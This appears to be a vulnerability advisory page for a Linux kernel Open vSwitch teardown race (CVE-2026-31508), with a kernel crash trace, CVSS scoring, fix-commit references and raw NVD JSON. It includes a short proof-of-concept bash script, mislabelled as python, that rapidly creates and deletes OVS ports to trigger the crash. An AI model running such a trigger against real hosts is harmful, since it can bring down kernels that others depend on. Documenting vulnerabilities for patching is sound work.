CVE-2026-31508

Description

In the Linux kernel, the following vulnerability has been resolved: net: openvswitch: Avoid releasing netdev before teardown completes The patch cited in the Fixes tag below changed the teardown code for OVS ports to no longer unconditionally take the RTNL. After this change, the netdev_destroy() callback can proceed immediately to the call_rcu() invocation if the IFF_OVS_DATAPATH flag is already cleared on the netdev. The ovs_netdev_detach_dev() function clears the flag before completing the unregistration, and if it gets preempted after clearing the flag (as can happen on an -rt kernel), netdev_destroy() can complete and the device can be freed before the unregistration completes. This leads to a splat like: [ 998.393867] Oops: general protection fault, probably for non-canonical address 0xff00000001000239: 0000 [#1] SMP PTI [ 998.393877] CPU: 42 UID: 0 PID: 55177 Comm: ip Kdump: loaded Not tainted 6.12.0-211.1.1.el10_2.x86_64+rt #1 PREEMPT_RT [ 998.393886] Hardware name: Dell Inc. PowerEdge R740/0JMK61, BIOS 2.24.0 03/27/2025 [ 998.393889] RIP: 0010:dev_set_promiscuity+0x8d/0xa0 [ 998.393901] Code: 00 00 75 d8 48 8b 53 08 48 83 ba b0 02 00 00 00 75 ca 48 83 c4 08 5b c3 cc cc cc cc 48 83 bf 48 09 00 00 00 75 91 48 8b 47 08 <48> 83 b8 b0 02 00 00 00 74 97 eb 81 0f 1f 80 00 00 00 00 90 90 90 [ 998.393906] RSP: 0018:ffffce5864a5f6a0 EFLAGS: 00010246 [ 998.393912] RAX: ff00000000ffff89 RBX: ffff894d0adf5a05 RCX: 0000000000000000 [ 998.393917] RDX: 0000000000000000 RSI: 00000000ffffffff RDI: ffff894d0adf5a05 [ 998.393921] RBP: ffff894d19252000 R08: ffff894d19252000 R09: 0000000000000000 [ 998.393924] R10: ffff894d19252000 R11: ffff894d192521b8 R12: 0000000000000006 [ 998.393927] R13: ffffce5864a5f738 R14: 00000000ffffffe2 R15: 0000000000000000 [ 998.393931] FS: 00007fad61971800(0000) GS:ffff894cc0140000(0000) knlGS:0000000000000000 [ 998.393936] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 998.393940] CR2: 000055df0a2a6e40 CR3: 000000011c7fe003 CR4: 00000000007726f0 [ 998.393944] PKRU: 55555554 [ 998.393946] Call Trace: [ 998.393949] <TASK> [ 998.393952] ? show_trace_log_lvl+0x1b0/0x2f0 [ 998.393961] ? show_trace_log_lvl+0x1b0/0x2f0 [ 998.393975] ? dp_device_event+0x41/0x80 [openvswitch] [ 998.394009] ? __die_body.cold+0x8/0x12 [ 998.394016] ? die_addr+0x3c/0x60 [ 998.394027] ? exc_general_protection+0x16d/0x390 [ 998.394042] ? asm_exc_general_protection+0x26/0x30 [ 998.394058] ? dev_set_promiscuity+0x8d/0xa0 [ 998.394066] ? ovs_netdev_detach_dev+0x3a/0x80 [openvswitch] [ 998.394092] dp_device_event+0x41/0x80 [openvswitch] [ 998.394102] notifier_call_chain+0x5a/0xd0 [ 998.394106] unregister_netdevice_many_notify+0x51b/0xa60 [ 998.394110] rtnl_dellink+0x169/0x3e0 [ 998.394121] ? rt_mutex_slowlock.constprop.0+0x95/0xd0 [ 998.394125] rtnetlink_rcv_msg+0x142/0x3f0 [ 998.394128] ? avc_has_perm_noaudit+0x69/0xf0 [ 998.394130] ? __pfx_rtnetlink_rcv_msg+0x10/0x10 [ 998.394132] netlink_rcv_skb+0x50/0x100 [ 998.394138] netlink_unicast+0x292/0x3f0 [ 998.394141] netlink_sendmsg+0x21b/0x470 [ 998.394145] ____sys_sendmsg+0x39d/0x3d0 [ 998.394149] ___sys_sendmsg+0x9a/0xe0 [ 998.394156] __sys_sendmsg+0x7a/0xd0 [ 998.394160] do_syscall_64+0x7f/0x170 [ 998.394162] entry_SYSCALL_64_after_hwframe+0x76/0x7e [ 998.394165] RIP: 0033:0x7fad61bf4724 [ 998.394188] Code: 89 02 b8 ff ff ff ff eb bb 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 f3 0f 1e fa 80 3d c5 e9 0c 00 00 74 13 b8 2e 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 54 c3 0f 1f 00 48 83 ec 28 89 54 24 1c 48 89 [ 998.394189] RSP: 002b:00007ffd7e2f7cb8 EFLAGS: 00000202 ORIG_RAX: 000000000000002e [ 998.394191] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 00007fad61bf4724 [ 998.394193] RDX: 0000000000000000 RSI: 00007ffd7e2f7d20 RDI: 0000000000000003 [ 998.394194] RBP: 00007ffd7e2f7d90 R08: 0000000000000010 R09: 000000000000003f [ 998.394195] R10: 000055df11558010 R11: 0000000000000202 R12: 00007ffd7e2 ---truncated---

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (Mainline)

Linux Kernel (Stable branches prior to commit 33609454be4f582e686a4bf13d4482a5ca0f6c4b)

Linux Kernel 6.12 (and potentially other versions with the vulnerable patch)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/bin/bash
# PoC for CVE-2026-31508
# Requires root to load modules and create interfaces, but the crash context shows local user.
# This script attempts to trigger the race condition by rapidly creating and deleting OVS ports.

modprobe openvswitch

for i in {1..1000}
do
    # Create OVS port
    ovs-vsctl add-port br0 ovs-poc-$i -- set Interface ovs-poc-$i type=internal
    # Immediately delete to trigger teardown race
    ovs-vsctl del-port br0 ovs-poc-$i
done
echo "PoC execution finished. Check dmesg for Oops."

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31508
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31508
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31508/
[4] VulDB https://vuldb.com/cve/CVE-2026-31508
[5] https://git.kernel.org/stable/c/33609454be4f582e686a4bf13d4482a5ca0f6c4b
[6] https://git.kernel.org/stable/c/43579baa17270aa51f93eb09b6e4af6e047b7f6e
[7] https://git.kernel.org/stable/c/4c3e25a7b711a402fcbbbcfbbdf2868ece1ae7c8
[8] https://git.kernel.org/stable/c/5fdeaf591a0942772c2d18ff3563697a49ad01c6
[9] https://git.kernel.org/stable/c/755a6300afbd743cda4b102f24f343380ec0e0ff
[10] https://git.kernel.org/stable/c/7c770dadfda5cbbde6aa3c4363ed513f1d212bf8
[11] https://git.kernel.org/stable/c/95265232b49765a4d00f4d028c100bb7185600f4
[12] https://git.kernel.org/stable/c/df3c95be76103604e752131d9495a24814915ece

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31508", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T14:16:49.727", "lastModified": "2026-04-28T15:04:04.237", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: openvswitch: Avoid releasing netdev before teardown completes\n\nThe patch cited in the Fixes tag below changed the teardown code for\nOVS ports to no longer unconditionally take the RTNL. After this change,\nthe netdev_destroy() callback can proceed immediately to the call_rcu()\ninvocation if the IFF_OVS_DATAPATH flag is already cleared on the\nnetdev.\n\nThe ovs_netdev_detach_dev() function clears the flag before completing\nthe unregistration, and if it gets preempted after clearing the flag (as\ncan happen on an -rt kernel), netdev_destroy() can complete and the\ndevice can be freed before the unregistration completes. This leads to a\nsplat like:\n\n[ 998.393867] Oops: general protection fault, probably for non-canonical address 0xff00000001000239: 0000 [#1] SMP PTI\n[ 998.393877] CPU: 42 UID: 0 PID: 55177 Comm: ip Kdump: loaded Not tainted 6.12.0-211.1.1.el10_2.x86_64+rt #1 PREEMPT_RT\n[ 998.393886] Hardware name: Dell Inc. PowerEdge R740/0JMK61, BIOS 2.24.0 03/27/2025\n[ 998.393889] RIP: 0010:dev_set_promiscuity+0x8d/0xa0\n[ 998.393901] Code: 00 00 75 d8 48 8b 53 08 48 83 ba b0 02 00 00 00 75 ca 48 83 c4 08 5b c3 cc cc cc cc 48 83 bf 48 09 00 00 00 75 91 48 8b 47 08 <48> 83 b8 b0 02 00 00 00 74 97 eb 81 0f 1f 80 00 00 00 00 90 90 90\n[ 998.393906] RSP: 0018:ffffce5864a5f6a0 EFLAGS: 00010246\n[ 998.393912] RAX: ff00000000ffff89 RBX: ffff894d0adf5a05 RCX: 0000000000000000\n[ 998.393917] RDX: 0000000000000000 RSI: 00000000ffffffff RDI: ffff894d0adf5a05\n[ 998.393921] RBP: ffff894d19252000 R08: ffff894d19252000 R09: 0000000000000000\n[ 998.393924] R10: ffff894d19252000 R11: ffff894d192521b8 R12: 0000000000000006\n[ 998.393927] R13: ffffce5864a5f738 R14: 00000000ffffffe2 R15: 0000000000000000\n[ 998.393931] FS: 00007fad61971800(0000) GS:ffff894cc0140000(0000) knlGS:0000000000000000\n[ 998.393936] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[ 998.393940] CR2: 000055df0a2a6e40 CR3: 000000011c7fe003 CR4: 00000000007726f0\n[ 998.393944] PKRU: 55555554\n[ 998.393946] Call Trace:\n[ 998.393949] <TASK>\n[ 998.393952] ? show_trace_log_lvl+0x1b0/0x2f0\n[ 998.393961] ? show_trace_log_lvl+0x1b0/0x2f0\n[ 998.393975] ? dp_device_event+0x41/0x80 [openvswitch]\n[ 998.394009] ? __die_body.cold+0x8/0x12\n[ 998.394016] ? die_addr+0x3c/0x60\n[ 998.394027] ? exc_general_protection+0x16d/0x390\n[ 998.394042] ? asm_exc_general_protection+0x26/0x30\n[ 998.394058] ? dev_set_promiscuity+0x8d/0xa0\n[ 998.394066] ? ovs_netdev_detach_dev+0x3a/0x80 [openvswitch]\n[ 998.394092] dp_device_event+0x41/0x80 [openvswitch]\n[ 998.394102] notifier_call_chain+0x5a/0xd0\n[ 998.394106] unregister_netdevice_many_notify+0x51b/0xa60\n[ 998.394110] rtnl_dellink+0x169/0x3e0\n[ 998.394121] ? rt_mutex_slowlock.constprop.0+0x95/0xd0\n[ 998.394125] rtnetlink_rcv_msg+0x142/0x3f0\n[ 998.394128] ? avc_has_perm_noaudit+0x69/0xf0\n[ 998.394130] ? __pfx_rtnetlink_rcv_msg+0x10/0x10\n[ 998.394132] netlink_rcv_skb+0x50/0x100\n[ 998.394138] netlink_unicast+0x292/0x3f0\n[ 998.394141] netlink_sendmsg+0x21b/0x470\n[ 998.394145] ____sys_sendmsg+0x39d/0x3d0\n[ 998.394149] ___sys_sendmsg+0x9a/0xe0\n[ 998.394156] __sys_sendmsg+0x7a/0xd0\n[ 998.394160] do_syscall_64+0x7f/0x170\n[ 998.394162] entry_SYSCALL_64_after_hwframe+0x76/0x7e\n[ 998.394165] RIP: 0033:0x7fad61bf4724\n[ 998.394188] Code: 89 02 b8 ff ff ff ff eb bb 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 f3 0f 1e fa 80 3d c5 e9 0c 00 00 74 13 b8 2e 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 54 c3 0f 1f 00 48 83 ec 28 89 54 24 1c 48 89\n[ 998.394189] RSP: 002b:00007ffd7e2f7cb8 EFLAGS: 00000202 ORIG_RAX: 000000000000002e\n[ 998.394191] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 00007fad61bf4724\n[ 998.394193] RDX: 0000000000000000 RSI: 00007ffd7e2f7d20 RDI: 0000000000000003\n[ 998.394194] RBP: 00007ffd7e2f7d90 R08: 0000000000000010 R09: 000000000000003f\n[ 998.394195] R10: 000055df11558010 R11: 0000000000000202 R12: 00007ffd7e2\n---truncated---"}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operato ... (truncated)